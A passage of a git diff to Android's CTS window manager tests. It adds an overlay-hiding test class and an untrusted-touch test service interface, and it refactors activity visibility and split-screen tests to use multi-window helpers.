- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<resources>
- <integer name="animation_duration">2000</integer>
-</resources>
diff --git a/tests/framework/base/windowmanager/shared/Android.bp b/tests/framework/base/windowmanager/shared/Android.bp
new file mode 100644
index 0000000..45e5fd3
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+ name: "cts-wm-shared",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.aidl",
+ ],
+}
diff --git a/tests/framework/base/windowmanager/shared/README.md b/tests/framework/base/windowmanager/shared/README.md
new file mode 100644
index 0000000..6196414
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test helper apps (CtsDeviceServicesTestApp) and the test
+(CtsWindowManagerDeviceTestCases) itself.
diff --git a/tests/framework/base/windowmanager/shared/src/android/server/wm/app/IUntrustedTouchTestService.aidl b/tests/framework/base/windowmanager/shared/src/android/server/wm/app/IUntrustedTouchTestService.aidl
new file mode 100644
index 0000000..f367a4e
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/src/android/server/wm/app/IUntrustedTouchTestService.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+interface IUntrustedTouchTestService {
+ void showToast();
+ void showSystemAlertWindow(String windowName, float opacity);
+ void removeOverlays();
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 658b042..1061e9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -16,19 +16,14 @@
package android.server.wm;
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.content.Intent.ACTION_MAIN;
-import static android.content.Intent.CATEGORY_HOME;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
-import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
import static android.server.wm.CliIntentExtra.extraString;
import static android.server.wm.UiDeviceUtils.pressBackButton;
import static android.server.wm.UiDeviceUtils.pressHomeButton;
@@ -36,11 +31,9 @@
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.server.wm.app.Components.ALT_LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
import static android.server.wm.app.Components.BROADCAST_RECEIVER_ACTIVITY;
import static android.server.wm.app.Components.DOCKED_ACTIVITY;
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCH_PIP_ON_PIP_ACTIVITY;
import static android.server.wm.app.Components.MOVE_TASK_TO_BACK_ACTIVITY;
import static android.server.wm.app.Components.MoveTaskToBackActivity.EXTRA_FINISH_POINT;
import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_PAUSE;
@@ -62,15 +55,11 @@
import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
import static android.view.Display.DEFAULT_DISPLAY;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.content.ComponentName;
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
import android.platform.test.annotations.Presubmit;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.ActivitySessionClient;
@@ -90,113 +79,28 @@
@Rule
public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
- @Test
- public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
- if (!supportsPip()) {
- return;
- }
-
- executeShellCommand(getAmStartCmdOverHome(LAUNCH_PIP_ON_PIP_ACTIVITY));
- mWmState.waitForValidState(LAUNCH_PIP_ON_PIP_ACTIVITY);
- // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
- // translucent activity.
- final int stackId = mWmState.getStackIdByActivity(
- LAUNCH_PIP_ON_PIP_ACTIVITY);
-
- assertNotEquals(stackId, INVALID_STACK_ID);
- moveTopActivityToPinnedRootTask(stackId);
- mWmState.waitForValidState(
- new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
- .setWindowingMode(WINDOWING_MODE_PINNED)
- .setActivityType(ACTIVITY_TYPE_STANDARD)
- .build());
-
- mWmState.assertFrontStack("Pinned stack must be the front stack.",
- WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
- mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
- mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
- }
-
/**
* Asserts that the home activity is visible when a translucent activity is launched in the
* fullscreen stack over the home activity.
*/
@Test
- public void testTranslucentActivityOnTopOfHome() throws Exception {
+ public void testTranslucentActivityOnTopOfHome() {
if (!hasHomeScreen()) {
return;
}
launchHomeActivity();
- launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
+ launchActivity(TRANSLUCENT_ACTIVITY);
mWmState.assertFrontStack("Fullscreen stack must be the front stack.",
WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
- mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
- mWmState.assertHomeActivityVisible(true);
- }
-
- /**
- * Assert that the home activity is visible if a task that was launched from home is pinned
- * and also assert the next task in the fullscreen stack isn't visible.
- */
- @Test
- public void testHomeVisibleOnActivityTaskPinned() throws Exception {
- if (!supportsPip() || !hasHomeScreen()) {
- return;
- }
-
- launchHomeActivity();
- launchActivity(TEST_ACTIVITY);
- launchHomeActivity();
- launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
- final int stackId = mWmState.getStackIdByActivity(
- ALWAYS_FOCUSABLE_PIP_ACTIVITY);
-
- assertNotEquals(stackId, INVALID_STACK_ID);
- moveTopActivityToPinnedRootTask(stackId);
- mWmState.waitForValidState(
- new WaitForValidActivityState.Builder(ALWAYS_FOCUSABLE_PIP_ACTIVITY)
- .setWindowingMode(WINDOWING_MODE_PINNED)
- .setActivityType(ACTIVITY_TYPE_STANDARD)
- .build());
-
- mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
- mWmState.assertVisibility(TEST_ACTIVITY, false);
+ mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
mWmState.assertHomeActivityVisible(true);
}
@Test
- public void testHomeVisibleOnEmptyDisplay() throws Exception {
- if (!hasHomeScreen()) {
- return;
- }
-
- removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
- forceStopHome();
-
- assertEquals(mWmState.getResumedActivitiesCount(), 0);
- assertEquals(mWmState.getRootTasksCount() , 0);
-
- pressHomeButton();
-
- mWmState.waitForHomeActivityVisible();
- mWmState.assertHomeActivityVisible(true);
- }
-
- private void forceStopHome() {
- final Intent intent = new Intent(ACTION_MAIN);
- intent.addCategory(CATEGORY_HOME);
- final ResolveInfo resolveInfo =
- mContext.getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
- String KILL_APP_COMMAND = "am force-stop " + resolveInfo.activityInfo.packageName;
-
- executeShellCommand(KILL_APP_COMMAND);
- }
-
- @Test
- public void testTranslucentActivityOverDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
+ public void testTranslucentActivityOverMultiWindowActivity() {
+ if (!supportsMultiWindow()) {
// Skipping test: no multi-window support
return;
}
@@ -204,15 +108,11 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- launchActivity(TRANSLUCENT_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ launchActivityInSecondarySplit(TRANSLUCENT_ACTIVITY);
mWmState.computeState(
new WaitForValidActivityState(TEST_ACTIVITY),
new WaitForValidActivityState(DOCKED_ACTIVITY),
new WaitForValidActivityState(TRANSLUCENT_ACTIVITY));
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
mWmState.assertVisibility(DOCKED_ACTIVITY, true);
mWmState.assertVisibility(TEST_ACTIVITY, true);
mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
@@ -248,39 +148,6 @@
true /* showWhenLocked */, 1000 /* sleepMsInOnCreate */);
}
- @Test
- public void testTurnScreenOnActivity_DismissSplitScreen() {
- assumeTrue(supportsLockScreen());
- assumeTrue(supportsSplitScreenMultiWindow());
-
- final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- final ActivitySessionClient activityClient = createManagedActivityClientSession();
- testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
- true /* useWindowFlags */, true /* showWhenLocked */);
- testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
- true /* useWindowFlags */, false /* showWhenLocked */);
- testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
- false /* useWindowFlags */, true /* showWhenLocked */);
- testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
- false /* useWindowFlags */, false /* showWhenLocked */);
- }
-
- private void testTurnScreenOnActivityMustDismissSplitScreen(LockScreenSession lockScreenSession,
- ActivitySessionClient activityClient, boolean useWindowFlags, boolean showWhenLocked) {
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
- mWmState.assertContainsStack("Must contain split screen secondary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain split screen primary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- testTurnScreenOnActivity(lockScreenSession, activityClient, useWindowFlags, showWhenLocked);
- mWmState.assertDoesNotContainStack("Must not contain split screen secondary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertDoesNotContainStack("Must not contain split screen primary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
-
private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
ActivitySessionClient activitySessionClient, boolean useWindowFlags,
boolean showWhenLocked) {
@@ -355,8 +222,8 @@
}
@Test
- public void testFinishActivityInNonFocusedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
+ public void testFinishActivityInNonFocusedStack() {
+ if (!supportsMultiWindow()) {
// Skipping test: no multi-window support
return;
}
@@ -369,9 +236,8 @@
.setUseInstrumentation()
.execute();
mWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
- // Launch something to fullscreen stack to make it focused.
- launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- mWmState.assertVisibility(TEST_ACTIVITY, true);
+ // Launch something to second split to make it focused.
+ launchActivityInSecondarySplit(TEST_ACTIVITY);
// Finish activity in non-focused (docked) stack.
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
@@ -400,16 +266,16 @@
}
@Test
- public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+ public void testFinishActivityWithMoveTaskToBackAfterPause() {
performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
}
@Test
- public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+ public void testFinishActivityWithMoveTaskToBackAfterStop() {
performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_STOP);
}
- private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+ private void performFinishActivityWithMoveTaskToBack(String finishPoint) {
// Make sure home activity is visible.
launchHomeActivity();
if (hasHomeScreen()) {
@@ -446,7 +312,7 @@
* behavior.
*/
@Test
- public void testReorderToFrontBackstack() throws Exception {
+ public void testReorderToFrontBackstack() {
// Start with home on top
launchHomeActivity();
if (hasHomeScreen()) {
@@ -482,7 +348,7 @@
* home stack.
*/
@Test
- public void testReorderToFrontChangingStack() throws Exception {
+ public void testReorderToFrontChangingStack() {
// Start with home on top
launchHomeActivity();
if (hasHomeScreen()) {
@@ -611,7 +477,7 @@
@Test
public void testTurnScreenOnAttrNoLockScreen_SplitScreen() {
assumeTrue(supportsLockScreen());
- assumeTrue(supportsSplitScreenMultiWindow());
+ assumeTrue(supportsMultiWindow());
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
@@ -667,37 +533,7 @@
}
@Test
- public void testTurnScreenOnShowOnLockAttrDismissSplitScreen() {
- assumeTrue(supportsLockScreen());
- assumeTrue(supportsSplitScreenMultiWindow());
-
- launchActivitiesInSplitScreen(
- getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
- getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
-
- mWmState.assertContainsStack("Must contain split screen secondary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain split screen primary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
- final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- lockScreenSession.sleepDevice();
- mWmState.waitForAllStoppedActivities();
-
- launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY,
- WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
- mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
-
- lockScreenSession.unlockDevice();
- mWmState.assertDoesNotContainStack("Must not contain split screen secondary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertDoesNotContainStack("Must not contain split screen primary stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
- }
-
- @Test
- public void testChangeToFullscrenWhenLockWithAttrInFreeform() {
+ public void testChangeToFullscreenWhenLockWithAttrInFreeform() {
assumeTrue(supportsLockScreen());
assumeTrue(supportsFreeform());
@@ -782,7 +618,7 @@
}
@Test
- public void testGoingHomeMultipleTimes() throws Exception {
+ public void testGoingHomeMultipleTimes() {
for (int i = 0; i < 10; i++) {
// Start activity normally
launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -800,7 +636,7 @@
}
@Test
- public void testPressingHomeButtonMultipleTimes() throws Exception {
+ public void testPressingHomeButtonMultipleTimes() {
for (int i = 0; i < 10; i++) {
// Start activity normally
launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -820,7 +656,7 @@
}
@Test
- public void testPressingHomeButtonMultipleTimesQuick() throws Exception {
+ public void testPressingHomeButtonMultipleTimesQuick() {
for (int i = 0; i < 10; i++) {
// Start activity normally
launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index bf983b5..7d82289 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -835,8 +835,17 @@
// Set initial orientation.
rotationSession.set(orientation);
+ // Launch a fullscreen activity first to make it behind the split-screen tasks (in
+ // WINDOWING_MODE_MULTI_WINDOW) that created below to avoid any other visible activities
+ // (e.g Launcher) affects the rotation tests.
+ // TODO(b/177166639): Making activities behind the splits invisible from TaskOrg.
+ getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+ .setUseInstrumentation()
+ .setWaitForLaunched(true)
+ .execute();
+
// Launch activities that request orientations and check that device doesn't rotate.
- launchActivitiesInSplitScreen(
+ launchActivitiesInLegacySplitScreen(
getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(activity).setMultipleTask(true));
@@ -856,6 +865,7 @@
* Asserts that initial and final reported sizes in docked stack are the same.
*/
private void moveActivitySplitFullSplit(ComponentName activityName) {
+ mUseTaskOrganizer = false;
assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
// Launch to docked stack and record size.
@@ -917,7 +927,10 @@
* that are smaller than the dockedSizes.
*/
private static void assertSizesAreSane(SizeInfo fullscreenSizes, SizeInfo dockedSizes) {
- if (isDisplayPortrait()) {
+ final boolean isHorizontalDivision =
+ fullscreenSizes.displayHeight - dockedSizes.displayHeight >
+ fullscreenSizes.displayWidth - dockedSizes.displayWidth;
+ if (isHorizontalDivision) {
assertThat(dockedSizes.displayHeight, lessThan(fullscreenSizes.displayHeight));
assertThat(dockedSizes.heightDp, lessThan(fullscreenSizes.heightDp));
assertThat(dockedSizes.metricsHeight, lessThan(fullscreenSizes.metricsHeight));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 39e5a7b..25f9152 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -20,7 +20,6 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.server.wm.CliIntentExtra.extraString;
@@ -52,7 +51,6 @@
import static org.junit.Assume.assumeTrue;
import android.content.ComponentName;
-import android.platform.test.annotations.FlakyTest;
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
import android.server.wm.settings.SettingsSession;
@@ -115,10 +113,6 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
// Enable the assistant and launch an assistant activity, ensure it is on top
try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -150,10 +144,6 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertContainsStack("Must contain fullscreen stack.",
- WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
assertAssistantStackCanLaunchAndReturnFromNewTask(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
}
@@ -302,8 +292,6 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
- mWmState.assertContainsStack("Must contain docked stack.",
- WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
waitForValidStateWithActivityType(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 470ea16..3a2c128 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -197,7 +197,8 @@
launchFreeformActivity(targetComponentName, targetMode, mTargetLogTag,
displaySize, false /* leftSide */);
} else {
- launchActivitiesInSplitScreen(getLaunchActivityBuilder()
+ launchActivitiesInLegacySplitScreen
+ (getLaunchActivityBuilder()
.setTargetActivity(sourceComponentName)
.setIntentExtra(bundle -> {
bundle.putString(EXTRA_MODE, sourceMode);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
new file mode 100644
index 0000000..268b7ae
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.HIDE_OVERLAY_WINDOWS_ACTIVITY;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:HideOverlayWindowsTest
+ */
+@Presubmit
+public class HideOverlayWindowsTest extends ActivityManagerTestBase {
+
+ private final static String WINDOW_NAME_EXTRA = "window_name";
+ private final static String SYSTEM_APPLICATION_OVERLAY_EXTRA = "system_application_overlay";
+ private PongReceiver mPongReceiver;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mPongReceiver = new PongReceiver();
+ mContext.registerReceiver(mPongReceiver, new IntentFilter(PONG));
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ mContext.unregisterReceiver(mPongReceiver);
+ }
+
+ @Test
+ public void testApplicationOverlayHiddenWhenRequested() {
+ String windowName = "SYSTEM_ALERT_WINDOW";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemWindowActivity.class);
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+ setHideOverlayWindowsAndWaitForPong(false);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }
+
+ @Test
+ public void testSystemApplicationOverlayFlagNoEffectWithoutPermission() {
+ String windowName = "SYSTEM_ALERT_WINDOW";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemWindowActivity.class);
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+ CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+ setHideOverlayWindowsAndWaitForPong(false);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }
+
+ @Test
+ public void testInternalSystemApplicationOverlaysNotHidden() {
+ String windowName = "INTERNAL_SYSTEM_WINDOW";
+ ComponentName componentName = new ComponentName(
+ mContext, InternalSystemWindowActivity.class);
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.INTERNAL_SYSTEM_WINDOW);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }
+
+ @Test
+ public void testSystemApplicationOverlaysNotHidden() {
+ String windowName = "SYSTEM_APPLICATION_OVERLAY";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemApplicationOverlayActivity.class);
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+ CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+ launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+ setHideOverlayWindowsAndWaitForPong(true);
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }
+
+ @Test
+ public void testSystemApplicationOverlayHiddenWithoutFlag() {
+ String windowName = "SYSTEM_APPLICATION_OVERLAY";
+ ComponentName componentName = new ComponentName(
+ mContext, SystemApplicationOverlayActivity.class);
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ launchActivity(componentName,
+ CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+ mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+ }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
